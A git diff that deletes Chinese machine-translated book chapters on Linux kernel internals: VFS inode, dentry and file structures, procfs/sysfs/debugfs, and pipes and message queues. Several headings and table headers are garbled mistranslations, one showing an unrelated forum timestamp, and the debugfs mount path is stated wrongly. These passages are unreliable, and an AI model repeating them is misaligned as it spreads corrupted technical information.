对象,并释放分配给 inode 的资源。 仅当定义了`alloc_inode`时才使用此选项。 -* `dirty_inode`:这由 VFS 调用以标记脏 inode(当 inode 被修改时)。 -* `write_inode`:VFS 在需要将索引节点写入磁盘时调用此方法。 第二个参数指向`struct writeback_control`,这是一个告诉写回代码要做什么的结构。 -* `put_super`:当 VFS 需要释放超级块时,调用此函数。 -* `sync_fs`:调用此函数是为了将文件系统数据与底层块设备的文件系统数据同步。 -* `statfs`:调用以获取 VFS 的文件系统统计信息。 -* `remount_fs`:需要重新挂载文件系统时调用。 -* `umount_begin`:在 VFS 卸载文件系统时调用。 -* `show_options`:由 VFS 调用以显示装载选项。 -* `quota_read`:由 VFS 调用以读取文件系统配额文件。 - -# 结构索引节点 - -`struct inode`的每个实例表示`rootfs`中的一个文件。 VFS 将此结构定义为特定于文件系统的 inode 的抽象。 不管 inode 结构的类型及其在磁盘上的表示形式如何,每个文件系统都需要将其文件作为`struct inode`枚举到`rootfs`中,以获得通用的文件视图。 此结构在``中定义: - -```sh -struct inode { - umode_t i_mode; - unsigned short i_opflags; - kuid_t i_uid; - kgid_t i_gid; - unsigned int i_flags; -#ifdef CONFIG_FS_POSIX_ACL - struct posix_acl *i_acl; - struct posix_acl *i_default_acl; -#endif - const struct inode_operations *i_op; - struct super_block *i_sb; - struct address_space *i_mapping; -#ifdef CONFIG_SECURITY - void *i_security; -#endif - /* Stat data, not accessed from path walking */ - unsigned long i_ino; - /* - * Filesystems may only read i_nlink directly. They shall use the - * following functions for modification: - * - * (set|clear|inc|drop)_nlink - * inode_(inc|dec)_link_count - */ - union { - const unsigned int i_nlink; - unsigned int __i_nlink; - }; - dev_t i_rdev; - loff_t i_size; - struct timespec i_atime; - struct timespec i_mtime; - struct timespec i_ctime; - spinlock_t i_lock; /*i_blocks, i_bytes, maybe i_size*/ - unsigned short i_bytes; - unsigned int i_blkbits; - blkcnt_t i_blocks; -#ifdef __NEED_I_SIZE_ORDERED - seqcount_t i_size_seqcount; -#endif - /* Misc */ - unsigned long i_state; - struct rw_semaphore i_rwsem; - - unsigned long dirtied_when;/*jiffies of first dirtying */ - unsigned long dirtied_time_when; - - struct hlist_node i_hash; - struct list_head i_io_list;/* backing dev IO list */ -#ifdef CONFIG_CGROUP_WRITEBACK - struct bdi_writeback *i_wb; /* the associated cgroup wb */ - - /* foreign inode detection, see wbc_detach_inode() */ - int i_wb_frn_winner; - u16 i_wb_frn_avg_time; - u16 i_wb_frn_history; -#endif - struct list_head i_lru; /* inode LRU list */ - struct list_head i_sb_list; - struct list_head i_wb_list;/* backing dev writeback list */ - union { - struct hlist_head i_dentry; - struct rcu_head i_rcu; - }; - u64 i_version; - atomic_t i_count; - atomic_t i_dio_count; - atomic_t i_writecount; -#ifdef CONFIG_IMA - atomic_t i_readcount; /* struct files open RO */ -#endif -/* former->i_op >default_file_ops */ - const struct file_operations *i_fop; - struct file_lock_context *i_flctx; - struct address_space i_data; - struct list_head i_devices; - union { - struct pipe_inode_info *i_pipe; - struct block_device *i_bdev; - struct cdev *i_cdev; - char *i_link; - unsigned i_dir_seq; - }; - __u32 i_generation; - #ifdef CONFIG_FSNOTIFY __u32 i_fsnotify_mask; /* all events this inode cares about */ - struct hlist_head i_fsnotify_marks; -#endif -#if IS_ENABLED(CONFIG_FS_ENCRYPTION) - struct fscrypt_info *i_crypt_info; -#endif - void *i_private; /* fs or device private pointer */ -}; -``` - -请注意,并非所有字段都是必填的,并且适用于所有文件系统;它们可以自由地初始化与其索引节点定义相关的适当字段。 每个 inode 都绑定到底层文件系统定义的两个重要操作组:第一,管理 inode 数据的一组操作。 这些由 inode 的`i_op`指针引用的`struct inode_operations`类型的实例表示。 第二个是一组操作,用于访问和操作 inode 表示的底层文件数据;这些操作封装在类型为`struct file_operations`的实例中,并绑定到 inode 实例的`i_fop`指针。 - -换句话说,每个 inode 都绑定到由类型 struct`inode_operations`的实例表示的元数据操作,以及由类型`struct file_operations`的实例表示的文件数据操作。 但是,用户模式应用从为表示调用者进程的打开文件而创建的有效`file`对象访问文件数据操作(我们将在下一节详细讨论文件对象): - -```sh -struct inode_operations { - struct dentry * (*lookup) (struct inode *,struct dentry *, unsigned int); - const char * (*get_link) (struct dentry *, struct inode *, struct delayed_call *); - int (*permission) (struct inode *, int); - struct posix_acl * (*get_acl)(struct inode *, int); - int (*readlink) (struct dentry *, char __user *,int); - int (*create) (struct inode *,struct dentry *, umode_t, bool); - int (*link) (struct dentry *,struct inode *,struct dentry *); - int (*unlink) (struct inode *,struct dentry *); - int (*symlink) (struct inode *,struct dentry *,const char *); - int (*mkdir) (struct inode *,struct dentry *,umode_t); - int (*rmdir) (struct inode *,struct dentry *); - int (*mknod) (struct inode *,struct dentry *,umode_t,dev_t); - int (*rename) (struct inode *, struct dentry *, - struct inode *, struct dentry *, unsigned int); - int (*setattr) (struct dentry *, struct iattr *); - int (*getattr) (struct vfsmount *mnt, struct dentry *, struct kstat *); - ssize_t (*listxattr) (struct dentry *, char *, size_t); - int (*fiemap)(struct inode *, struct fiemap_extent_info *, u64 start, - u64 len); - int (*update_time)(struct inode *, struct timespec *, int); - int (*atomic_open)(struct inode *, struct dentry *, - struct file *, unsigned open_flag, - umode_t create_mode, int *opened); - int (*tmpfile) (struct inode *, struct dentry *, umode_t); - int (*set_acl)(struct inode *, struct posix_acl *, int); -} ____cacheline_aligned -``` - -以下是几个重要操作的简要说明: - -* `lookup`:用于定位指定文件的 inode 实例;此操作返回 Dentry 实例。 -* `create`:此例程由 VFS 调用,以构造指定为参数的 dentry 的索引节点对象。 -* `link`:用于支持硬链接。 由`link(2)`系统调用。 -* `unlink`:用于支持删除 inode。 由`unlink(2)`系统调用。 -* `mkdir`:用于支持创建子目录。 由`mkdir(2)`系统调用。 -* `mknod`:由`mknod(2)`系统调用调用以创建命名管道、索引节点或套接字的设备。 -* `listxattr`:由 VFS 调用以列出文件的所有扩展属性。 -* `update_time`:由 VFS 调用以更新索引节点的特定时间或`i_version`。 - -下面是 VFS 定义的`struct file_operations`,它封装了文件系统定义的对底层文件数据的操作。 因为它被声明为所有文件系统的公共接口,所以它包含适合于支持对具有不同文件数据定义的各种类型的文件系统的操作的函数指针接口。 底层文件系统可以自由选择适当的接口,其余接口则根据它们对文件和文件数据的概念而定: - -```sh -struct file_operations { - struct module *owner; - loff_t (*llseek) (struct file *, loff_t, int); - ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); - ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); - ssize_t (*read_iter) (struct kiocb *, struct iov_iter *); - ssize_t (*write_iter) (struct kiocb *, struct iov_iter *); - int (*iterate) (struct file *, struct dir_context *); - int (*iterate_shared) (struct file *, struct dir_context *); - unsigned int (*poll) (struct file *, struct poll_table_struct *); - long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); - long (*compat_ioctl) (struct file *, unsigned int, unsigned long); - int (*mmap) (struct file *, struct vm_area_struct *); - int (*open) (struct inode *, struct file *); - int (*flush) (struct file *, fl_owner_t id); - int (*release) (struct inode *, struct file *); - int (*fsync) (struct file *, loff_t, loff_t, int datasync); - int (*fasync) (int, struct file *, int); - int (*lock) (struct file *, int, struct file_lock *); - ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int); - unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); - int (*check_flags)(int); - int (*flock) (struct file *, int, struct file_lock *); - ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int); - ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); - int (*setlease)(struct file *, long, struct file_lock **, void **); - long (*fallocate)(struct file *file, int mode, loff_t offset, - loff_t len); - void (*show_fdinfo)(struct seq_file *m, struct file *f); -#ifndef CONFIG_MMU - unsigned (*mmap_capabilities)(struct file *); -#endif - ssize_t (*copy_file_range)(struct file *, loff_t, struct file *, - loff_t, size_t, unsigned int); - int (*clone_file_range)(struct file *, loff_t, struct file *, loff_t, - u64); - ssize_t (*dedupe_file_range)(struct file *, u64, u64, struct file *, - u64); -}; -``` - -以下是几个重要操作的简要说明: - -* `llseek`:当 VFS 需要移动文件位置索引时调用。 -* `read`:由`read(2)`和其他相关系统调用调用。 -* `write`:由`write(2)`和其他相关系统调用调用。 -* `iterate`:当 VFS 需要读取目录内容时调用。 -* `poll`:当进程需要检查文件上的活动时,这由 VFS 调用。 由`select(2)`和`poll(2)`系统调用。 -* `unlocked_ioctl`:当用户模式进程调用文件描述符上的`ioctl(2)`系统调用时,将调用分配给此指针的操作。 此功能用于支持特殊操作。 设备驱动程序使用此接口支持目标设备上的配置操作。 -* `compat_ioctl`:类似于 ioctl,不同之处在于它用于将从 32 位进程传递的参数转换为与 64 位内核一起使用。 -* `mmap`:当用户模式进程调用`mmap(2)`系统调用时,调用分配给此指针的例程。 此函数支持的功能取决于底层文件系统。 对于常规持久文件,此函数用于将文件的调用方指定的数据区域映射到调用方进程的虚拟地址空间。 对于支持`mmap`的设备文件,此例程将底层设备地址空间映射到调用方的虚拟地址空间。 -* `open`:当用户模式进程启动`open(2)`系统调用以创建文件描述符时,分配给此接口的函数由 VFS 调用。 -* `flush`:由`close(2)`系统调用调用以刷新文件。 -* `release`:当用户模式进程执行 Close(2)系统调用以销毁文件描述符时,VFS 会调用分配给此接口的函数。 -* `fasync`:当为文件启用异步模式时,由`fcntl(2)`系统调用调用。 -* `splice_write`:由 VFS 调用以将数据从管道拼接到文件。 -* `setlease`:由 VFS 调用以设置或释放文件锁租用。 -* `fallocate`:由 VFS 调用以预分配块。 - -# 结构数据项 - -在前面的讨论中,我们了解了典型的磁盘文件系统如何通过`inode`结构表示每个目录,以及磁盘上的目录块如何表示该目录下的文件信息。 当用户模式应用使用完整路径(如`/root/test/abc`*,*)启动文件访问操作(如`open()`)时,VFS 将需要执行目录查找操作来解码和验证路径中指定的每个组件。 - -为了高效地查找和转换文件路径中的组件,VFS 枚举了一种称为`dentry`的特殊数据结构。 Dentry 对象包含文件或目录的字符串`name`、指向其`inode`的指针和指向父文件或目录的指针`dentry`。 为文件查找路径中的每个组件生成一个 Dentry 实例;例如,在`/root/test/abc`的情况下,为`root`枚举一个 Dentry 实例,为`test`*、*枚举另一个 Dentry 实例,最后为文件`abc`*枚举一个 Dentry 实例。* - -`struct dentry`在内核头``中定义: - -```sh -struct dentry { - /* RCU lookup touched fields */ - unsigned int d_flags; /* protected by d_lock */ - seqcount_t d_seq; /* per dentry seqlock */ - struct hlist_bl_node d_hash; /* lookup hash list */ - struct dentry *d_parent; /* parent directory */ - struct qstr d_name; - struct inode *d_inode; /* Where the name -NULL is negative */ - unsigned char d_iname[DNAME_INLINE_LEN]; /* small names */ - - /* Ref lookup also touches following */ - struct lockref d_lockref; /* per-dentry lock and refcount */ - const struct dentry_operations *d_op; - struct super_block *d_sb; /* The root of the dentry tree */ - unsigned long d_time; /* used by d_revalidate */ - void *d_fsdata; /* fs-specific data */ - - union { - struct list_head d_lru; /* LRU list */ - wait_queue_head_t *d_wait; /* in-lookup ones only */ - }; - struct list_head d_child; /* child of parent list */ - struct list_head d_subdirs; /* our children */ - /* - * d_alias and d_rcu can share memory - */ - union { - struct hlist_node d_alias; /* inode alias list */ - struct hlist_bl_node d_in_lookup_hash; - struct rcu_head d_rcu; - } d_u; -}; -``` - -* `d_parent`是指向父 Dentry 实例的指针。 -* `d_name`保存文件的名称。 -* `d_inode`是指向文件的 inode 实例的指针。 -* `d_flags`包含在`.`中定义的几个标志 -* `d_op`指向包含指向 Dentry 对象各种操作的函数指针的结构。 - -现在让我们看一下`struct dentry_operations`,它描述了文件系统如何重载标准 Dentry 操作: - -```sh -struct dentry_operations { - int (*d_revalidate)(struct dentry *, unsigned int); - int (*d_weak_revalidate)(struct dentry *, unsigned int); - int (*d_hash)(const struct dentry *, struct qstr *); - int (*d_compare)(const struct dentry *, - unsigned int, const char *, const struct qstr *); - int (*d_delete)(const struct dentry *); - int (*d_init)(struct dentry *); - void (*d_release)(struct dentry *); - void (*d_prune)(struct dentry *); - void (*d_iput)(struct dentry *, struct inode *); - char *(*d_dname)(struct dentry *, char *, int); - struct vfsmount *(*d_automount)(struct path *); - int (*d_manage)(const struct path *, bool); - struct dentry *(*d_real)(struct dentry *, const struct inode *, - unsigned int); - -} ____ca -``` - -以下是几个重要的 Dentry 操作的简要说明: - -* `d_revalidate`:当 VFS 需要重新验证 Dentry 时调用。 每当名称查找返回 dcache 中的 dentry 时,都会调用此函数。 -* `d_weak_revalidate`:当 VFS 需要重新验证跳转的 Dentry 时调用。 如果路径遍历在父目录的查找中未找到的 dentry 处结束,则会调用此函数。 -* `d_hash`:当 VFS 将 dentry 添加到哈希表时调用。 -* `d_compare`:调用以比较两个 Dentry 实例的文件名。 它将 dentry 名称与给定名称进行比较。 -* `d_delete`:在删除对 Dentry 的最后一个引用时调用。 -* `d_init`:在分配 Dentry 时调用。 -* `d_release`:在释放 Dentry 时调用。 -* `d_iput`:在从 dentry 释放 inode 时调用。 -* `d_dname`:在必须生成 dentry 的路径名时调用。 特殊文件系统可以方便地延迟路径名生成(无论何时需要路径)。 - -# 结构文件 - -`struct fil*e*`的实例表示打开的文件。 此结构是在用户进程成功打开文件时创建的,它包含调用方应用的文件访问属性,如文件数据的偏移量、访问模式和特殊标志等。 此对象映射到调用方的文件描述符表,并充当调用方应用对该文件的句柄。 此结构是进程的本地结构,并由进程保留,直到关闭相关文件。 对文件描述符的`close`操作将销毁`file`实例。 - -```sh -struct file { - union { - struct llist_node fu_llist; - struct rcu_head fu_rcuhead; - } f_u; - struct path f_path; - struct inode *f_inode; /* cached value */ - const struct file_operations *f_op; - - /* - * Protects f_ep_links, f_flags. - * Must not be taken from IRQ context. - */ - spinlock_t f_lock; - atomic_long_t f_count; - unsigned int f_flags; - fmode_t f_mode; - struct mutex f_pos_lock; - loff_t f_pos; - struct fown_struct f_owner; - const struct cred *f_cred; - struct file_ra_state f_ra; - - u64 f_version; -#ifdef CONFIG_SECURITY - void *f_security; -#endif - /* needed for tty driver, and maybe others */ - void *private_data; - -#ifdef CONFIG_EPOLL - /* Used by fs/eventpoll.c to link all the hooks to this file */ - struct list_head f_ep_links; - struct list_head f_tfile_llink; -#endif /* #ifdef CONFIG_EPOLL */ - struct address_space *f_mapping; -} __attribute__((aligned(4))); /* lest something weird decides that 2 is OK */ -``` - -`f_inode`指针指向文件的 inode 实例。 当文件对象由 VFS 构造时,`f_op`指针使用与文件的 inode 相关联的`struct file_operations`地址进行初始化,如前所述。 - -# 特殊文件系统 - -与常规文件系统不同,常规文件系统旨在管理备份到存储设备上的持久文件数据,内核实现了各种特殊的文件系统,这些文件系统管理特定类别的内核内核数据结构。 由于这些文件系统不处理持久性数据,因此它们不消耗磁盘块,并且整个文件系统结构都在核心中维护。 存在这样的文件系统可以简化应用开发、调试和更容易的错误检测。 这一类别中有许多文件系统,每个文件系统都是专门为特定目的而设计和实现的。 以下是几个重要项目的简要说明。 - -# Procfs 和 procfs - -**Procfs**是一种特殊的文件系统,它将内核数据结构枚举为文件。 该文件系统作为内核程序员的调试资源,因为它允许用户通过虚拟文件接口查看数据结构的状态。 将 Procfs 挂载到 rootfs 的`/proc`目录(挂载点)。 - -Procfs 文件中的数据不是持久的,总是在运行时构造的;每个文件都是一个接口,用户可以通过它触发相关操作。 例如,对 proc 文件的读取操作调用绑定到文件条目的相关读取回调函数,该函数被实现为用适当的数据填充用户缓冲区。 - -枚举的文件数量取决于为其构建内核的配置和体系结构。 以下是几个重要文件的列表,这些文件在`/proc`下列举了有用的数据: - -| 加入时间:清华大学 2007 年 01 月 25 日下午 3:33 | **说明** | -| `/proc/cpuinfo` | 提供低级 CPU 详细信息,如供应商、型号、时钟速度、高速缓存大小、同级数量、核心、CPU 标志和虚假信息。 | -| `/proc/meminfo` | 提供物理内存状态的摘要视图。 | -| `/proc/ioports` | 提供有关 x86 类计算机支持的端口 I/O 地址空间的当前使用情况的详细信息。 此文件在其他体系结构上不存在。 | -| `/proc/iomem` | 显示了描述内存地址空间当前使用情况的详细布局。 | -| `/proc/interrupts` | 显示 IRQ 描述符表的视图,该表包含绑定到每个 IRQ 行和中断处理程序的详细信息。 | -| `/proc/slabinfo` | 显示片高速缓存及其当前状态的详细列表。 | -| `/proc/buddyinfo` | 显示由好友系统管理的好友列表的当前状态。 | -| `/proc/vmstat` | 显示虚拟内存管理统计信息。 | -| `/proc/zoneinfo` | 显示每个节点的内存区统计信息。 | -| `/proc/cmdline` | 显示传递给内核的引导参数。 | -| `/proc/timer_list` | 显示活动挂起计时器的列表,以及时钟源的详细信息。 | -| `/proc/timer_stats` | 提供有关活动计时器的详细统计信息,用于跟踪计时器的使用和调试。 | -| `/proc/filesystems` | 显示当前处于活动状态的文件系统服务的列表。 | -| `/proc/mounts` | 显示当前装载的设备及其装载点。 | -| `/proc/partitions` | 显示使用关联的/dev 文件枚举检测到的当前存储分区的详细信息。 | -| `/proc/swaps` | 列出活动交换分区以及状态详细信息。 | -| `/proc/modules` | 列出当前部署的内核模块的名称和状态。 | -| `/proc/uptime` | 显示内核自启动以来一直运行并处于空闲模式的时间长度。 | -| `/proc/kmsg` | 显示内核消息日志缓冲区的内容。 | -| `/proc/kallsyms` | 给出了内核符号表。 | -| `/proc/devices` | 显示已注册的块和字符设备及其主编号的列表。 | -| `/proc/misc` | 显示通过 misc 接口注册的设备列表及其 misc 标识符。 | -| `/proc/stat` | 显示系统统计信息。 | -| `/proc/net` | 包含各种与网络堆栈相关的伪文件的目录。 | -| `/proc/sysvipc` | 包含伪文件的子目录,这些伪文件显示 system V IPC 对象、消息队列、信号量和共享内存的状态。 | - -`/proc`还列出了许多子目录,这些子目录提供了工艺 PCB 或任务结构中元素的详细视图。 这些文件夹按它们所代表的进程的 PID 命名。 以下是显示流程相关信息的重要文件列表: - -| 文件名文件名 | 描述 / 描写 / 形容 / 类别 | -| `/proc/pid/cmdline` | 进程的命令行名称。 | -| `/proc/pid/exe` | 指向可执行文件的符号链接。 | -| `/proc/pid/environ` | 列出进程可访问的环境变量。 | -| `/proc/pid/cwd` | 指向进程的当前工作目录的符号链接。 | -| `/proc/pid/mem` | 显示进程虚拟内存的二进制映像。 | -| `/proc/pid/maps` | 列出进程的虚拟内存映射。 | -| `/proc/pid/fdinfo` | 列出打开的文件描述符的当前状态和标志的目录。 | -| `/proc/pid/fd` | 包含指向打开的文件描述符的符号链接的目录。 | -| `/proc/pid/status` | 列出进程的当前状态,包括其内存使用情况。 | -| `/proc/pid/sched` | 列出计划统计信息。 | -| `/proc/pid/cpuset` | 列出了此进程的 CPU 关联掩码。 | -| `/proc/pid/cgroup` | 显示进程的 cgroup 详细信息。 | -| `/proc/pid/stack` | 显示进程拥有的内核堆栈的回溯。 | -| `/proc/pid/smaps` | 显示每个映射到其地址空间所占用的内存。 | -| `/proc/pid/pagemap` | 显示进程的每个虚拟页的物理映射状态。 | -| `/proc/pid/syscall` | 公开进程当前正在执行的系统调用的系统调用号和参数。 | -| `/proc/pid/task` | 包含子进程/线程详细信息的目录。 | - -These listings were drawn up to familiarize you with proc files and their use. You are advised to visit the manual page of procfs for a detailed description of each of these files. - -到目前为止,我们列出的所有文件都是只读的;procfs 还包含一个包含读写文件的分支`/proc/sys`,这些文件被称为内核参数。 `/proc/sys`下的文件根据它们适用的子系统进一步分类。 列出所有这些文件超出了范围。 - -# 系统文件系统 - -**sysfs**是另一个伪文件系统,用于将统一硬件和驱动程序信息导出到用户模式。 它通过虚拟文件将有关设备和相关设备驱动程序的信息从内核的设备模型角度枚举到用户空间。 Sysfs 挂载到`rootfs`的/sys 目录(挂载点)。 与 procfs 类似,可以通过 sysfs 的虚拟文件接口为电源管理和其他功能配置底层驱动程序和内核子系统。 Sysfs 还通过适当的守护进程(如**udev**)启用 Linux 发行版的热插拔事件管理,该守护进程被配置为侦听和响应热插拔事件。 - -以下是 sysfs 的重要子目录的简要说明: - -* **Devices**:引入 sysfs 背后的目标之一是提供当前由各个驱动程序子系统枚举和管理的设备的统一列表。 设备目录包含全局设备层次结构,其中包含驱动程序子系统发现并注册到内核的每个物理和虚拟设备的信息。 -* **Bus**:该目录包含一个子目录列表,每个子目录代表内核中注册了支持的物理总线类型。 每个总线类型目录包含两个子目录:`devices`和`drivers`。 `devices`目录包含当前发现或绑定到该总线类型的设备列表。 列表中的每个文件都是一个符号链接,指向全局设备树中设备目录中的设备文件。 `drivers`目录包含描述向总线管理器注册的每个设备驱动程序的目录。 每个驱动程序目录都列出了显示驱动程序参数的当前配置(可以修改)的属性,以及指向驱动程序绑定到的物理设备目录的符号链接。 -* **类**:`class`目录包含当前向内核注册的设备类的表示。 设备类别描述了一种功能类型的设备。 每个设备类目录都包含表示当前在此类下分配和注册的设备的子目录。 对于大多数类设备对象,它们的目录包含指向全局设备层次结构和总线层次结构中与该类对象相关联的设备和驱动程序目录的符号链接。 -* **Firmware**:`firmware`目录包含用于查看和操作开机/重置期间运行的特定于平台的固件的界面,例如 x86 上的 BIOS 或 UEFI 以及 PPC 平台上的 OpenFirmware。 -* **模块**:该目录包含表示当前部署的每个内核模块的子目录。 每个目录都使用它所代表的模块的名称进行枚举。 每个模块目录都包含有关模块的信息,如 refcount、modparams 及其核心大小。 - -# 调试 - -与通过虚拟文件接口提供特定信息的 procfs 和 sysfs 不同,*debugfs*是一个通用内存文件系统,它允许内核开发人员导出任何被认为对调试有用的任意信息。 Debugfs 提供用于枚举虚拟文件的函数接口,通常挂载到`/sys/debug`目录。 诸如 ftrace 之类的跟踪机制使用 Debugfs 来显示函数和中断跟踪。 - -还有许多其他特殊的文件系统,如 pipefs、mqueue 和 sockfs;我们将在后面的章节中讨论其中的几个。 - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -通过本章,我们对典型的文件系统、其结构和设计以及是什么使其成为操作系统的基本部分有了一般性的了解。 本章还强调了抽象的重要性和优雅,使用内核全面吸收的通用的、分层的体系结构设计。 我们还扩展了对 VFS 及其通用文件接口的理解,该接口促进了通用文件 API 及其内部结构。 在下一章中,我们将探讨内存管理的另一个方面,称为虚拟内存管理器,它处理进程虚拟地址空间和页表。 \ No newline at end of file diff --git a/docs/master-linux-kernel-dev/06.md b/docs/master-linux-kernel-dev/06.md deleted file mode 100644 index a7902235..00000000 --- a/docs/master-linux-kernel-dev/06.md +++ /dev/null @@ -1,481 +0,0 @@ -# 六、进程间通信 - -复杂的应用编程模型可能包括许多进程,每个进程都被实现来处理特定的作业,这些进程作为一个整体对应用的最终功能做出了贡献。 根据托管此类应用的目标、设计和环境,涉及的进程可能是相关的(父子、兄弟),也可能不相关。 通常,这样的进程需要各种资源来通信、共享数据和同步其执行,以实现所需的结果。 这些服务由操作系统内核提供,称为**进程间通信**(**IPC**)。 我们已经讨论了信号作为 IPC 机制的用法;在本章中,我们将开始探索可用于进程通信和数据共享的各种其他资源。 - -在本章中,我们将介绍以下主题: - -* 管道和 FIFO 作为消息传递资源 -* SysV IPC 资源 -* POSX IPC 机制 - -# 管道和 FIFO - -管道形成了进程之间单向、自同步的基本通信方式。 顾名思义,它们有两个端点:一个进程写入数据,另一个进程从另一个进程读取数据。 在这种设置中,可能会先读出最先进入的内容。 管道由于其有限的容量,天生就会导致通信同步:如果写入进程的写入速度远远快于读取进程的读取速度,则管道的容量将无法容纳多余的数据,并且在读取器读取并释放数据之前总是阻塞写入进程。 同样,如果读取器读取数据的速度快于写入器,则它将没有数据可读,从而被阻塞,直到数据可用。 - -管道可以用作两种通信情况的消息传递资源:相关进程之间和不相关进程之间。 当在相关进程之间应用时,管道被称为**未命名管道**,因为它们不作为`rootfs`树下的文件枚举。 可以通过`pipe()`API 分配未命名管道。 - -```sh -int pipe2(int pipefd[2], int flags); -``` - -API 调用相应的系统调用,该系统调用分配适当的数据结构并设置管道缓冲区。 它映射一对文件描述符,一个用于在管道缓冲区上读取,另一个用于在管道缓冲区上写入。 这些描述符会返回给调用方。 调用方进程通常会派生子进程,子进程继承可用于消息传递的管道文件描述符。 - -以下代码摘录显示了管道系统调用实现: - -```sh -SYSCALL_DEFINE2(pipe2, int __user *, fildes, int, flags) -{ - struct file *files[2]; - int fd[2]; - int error; - - error = __do_pipe_flags(fd, files, flags); - if (!error) { - if (unlikely(copy_to_user(fildes, fd, sizeof(fd)))) { - fput(files[0]); - fput(files[1]); - put_unused_fd(fd[0]); - put_unused_fd(fd[1]); - error = -EFAULT; - } else { - fd_install(fd[0], files[0]); - fd_install(fd[1], files[1]); - } - } - return error; -} -``` - -无关进程之间的通信需要将管道文件枚举到**rootfs***中。* 这样的管道通常称为**命名管道***,*,可以从命令行(`mkfifo`)或使用`mkfifo`API*的进程创建。* - -```sh -int mkfifo(const char *pathname, mode_t mode); -``` - -使用模式参数指定的名称和适当的权限创建命名管道。 调用`mknod`系统调用以创建 FIFO,该 FIFO 在内部调用 VFS 例程来设置命名管道。 具有访问权限的进程可以通过常见的 VFS 文件 API`open`、`read`、`write`和`close`启动对 FIFO 的操作。 - -# 管子 - -管道和 FIFO 由名为`pipefs`的特殊文件系统创建和管理。 它将作为特殊文件系统注册到 VFS。 以下是`fs/pipe.c`中的代码摘录: - -```sh -static struct file_system_type pipe_fs_type = { - .name = "pipefs", - .mount = pipefs_mount, - .kill_sb = kill_anon_super, -}; - -static int __init init_pipe_fs(void) -{ - int err = register_filesystem(&pipe_fs_type); - - if (!err) { - pipe_mnt = kern_mount(&pipe_fs_type); - if (IS_ERR(pipe_mnt)) { - err = PTR_ERR(pipe_mnt); - unregister_filesystem(&pipe_fs_type); - } - } - return err; -} - -fs_initcall(init_pipe_fs); -``` - -它通过枚举表示每个管道的`inode`实例将管道文件集成到 VFS 中;这允许应用使用公共文件 API`read`和`write`。 `inode`结构包含与特殊文件(如管道和设备文件)相关的指针的联合。 对于管道文件`inodes`,其中一个指针`i_pipe`被初始化为`pipefs`,定义为类型`pipe_inode_info`的实例: - -```sh -struct inode { - umode_t i_mode; - unsigned short i_opflags; - kuid_t i_uid; - kgid_t i_gid; - unsigned int i_flags; - ... - ... - ... - union { - struct pipe_inode_info *i_pipe; - struct block_device *i_bdev; - struct cdev *i_cdev; - char *i_link; - unsigned i_dir_seq; - }; - ... - ... - ... -}; -``` - -`struct pipe_inode_info`包含由`pipefs`定义的所有与管道相关的元数据,其中包括管道缓冲区的信息和其他重要的管理数据。 此结构在``中定义: - -```sh -struct pipe_inode_info { - struct mutex mutex; - wait_queue_head_t wait; - unsigned int nrbufs, curbuf, buffers; - unsigned int readers; - unsigned int writers; - unsigned int files; - unsigned int waiting_writers; - unsigned int r_counter; - unsigned int w_counter; - struct page *tmp_page; - struct fasync_struct *fasync_readers; - struct fasync_struct *fasync_writers; - struct pipe_buffer *bufs; - struct user_struct *user; -}; -``` - -`bufs`指针引用管道缓冲区;默认情况下,每个管道被分配一个 65,535 字节(64k)的总缓冲区,排列为 16 页的循环数组。 用户进程可以通过对管道描述符执行`fcntl()`操作来更改管道缓冲区的总大小。 管道缓冲区的默认最大限制是 1,048,576 字节,特权进程可以通过`/proc/sys/fs/pipe-max-size`文件接口更改该值。 下表汇总描述了其余重要元素: - -| **名称** | **说明** | -| `mutex` | 保护管道的隔离锁 | -| `wait` | 等待阅读器和写入器的队列 | -| `nrbufs` | 此管道的非空管道缓冲区计数 | -| `curbuf` | 当前管道缓冲区 | -| `buffers` | 缓冲区总数 | -| `readers` | 当前读者数量 | -| `writers` | 当前写入者数量 | -| `files` | 当前引用此管道的结构文件实例数 | -| `waiting_writers` | 管道上当前阻止的写入程序数 | -| `r_coutner` | 读卡器计数器(与 FIFO 相关) | -| `w_counter` | 写入器计数器(与 FIFO 相关) | -| `*fasync_readers` | 读卡器端标签同步 | -| `*fasync_writers` | 编写器端标签同步 | -| `*bufs` | 指向管道缓冲区循环数组的指针 | -| `*user` | 指向表示创建此管道的用户的`user_struct`实例的指针 | - -对管道缓冲区每页的引用被包装到*类型*`struct pipe_buffer`实例的循环数组中。 此结构在``中定义: - -```sh -struct pipe_buffer { - struct page *page; - unsigned int offset, len; - const struct pipe_buf_operations *ops; - unsigned int flags; - unsigned long private; -}; -``` - -`*page`是指向页缓冲区的页描述符的指针,`offset`和`len`字段包含页缓冲区中包含的数据的偏移量及其长度。 `*ops`是指向类型为`pipe_buf_operations`的结构的指针,该结构封装了由`pipefs`实现的管道缓冲区操作。 它还实现绑定到管道和 FIFO 索引节点的文件操作: - -```sh -const struct file_operations pipefifo_fops = { - .open = fifo_open, - .llseek = no_llseek, - .read_iter = pipe_read, - .write_iter = pipe_write, - .poll = pipe_poll, - .unlocked_ioctl = pipe_ioctl, - .release = pipe_release, - .fasync = pipe_fasync, -}; -``` - -![](img/00039.jpeg) - -# 消息队列 - -**消息队列**是消息缓冲区列表,任意数量的进程都可以通过这些消息缓冲区进行通信。 与管道不同,写入器不必等待读取器打开管道并侦听数据。 与邮箱类似,写入者可以将包装在缓冲区中的固定长度消息放入队列中,读取器可以在准备就绪时拾取该消息。 消息队列在读取器挑选消息包后不会保留该消息包,这意味着确保每个消息包都是进程持久化的。 Linux 支持两种不同的消息队列实现:传统 Unix SYSV 消息队列和当代 POSIX 消息队列。 - -# System V 消息队列 - -这是经典的 AT&T 消息队列实现,适用于任意数量的无关进程之间的消息传递。 发送者进程将每条消息包装成包含消息数据和消息编号的数据包。 消息队列实现没有定义消息编号的含义,它留给应用设计人员为消息编号定义适当的含义,并由程序读取器和编写器对其进行解释。 此机制为程序员提供了将消息编号用作消息 ID 或接收方 ID 的灵活性。 它使读取器进程能够有选择地读取与特定 ID 匹配的消息。 但是,具有相同 ID 的邮件始终按 FIFO 顺序读取(先进先出)。 - 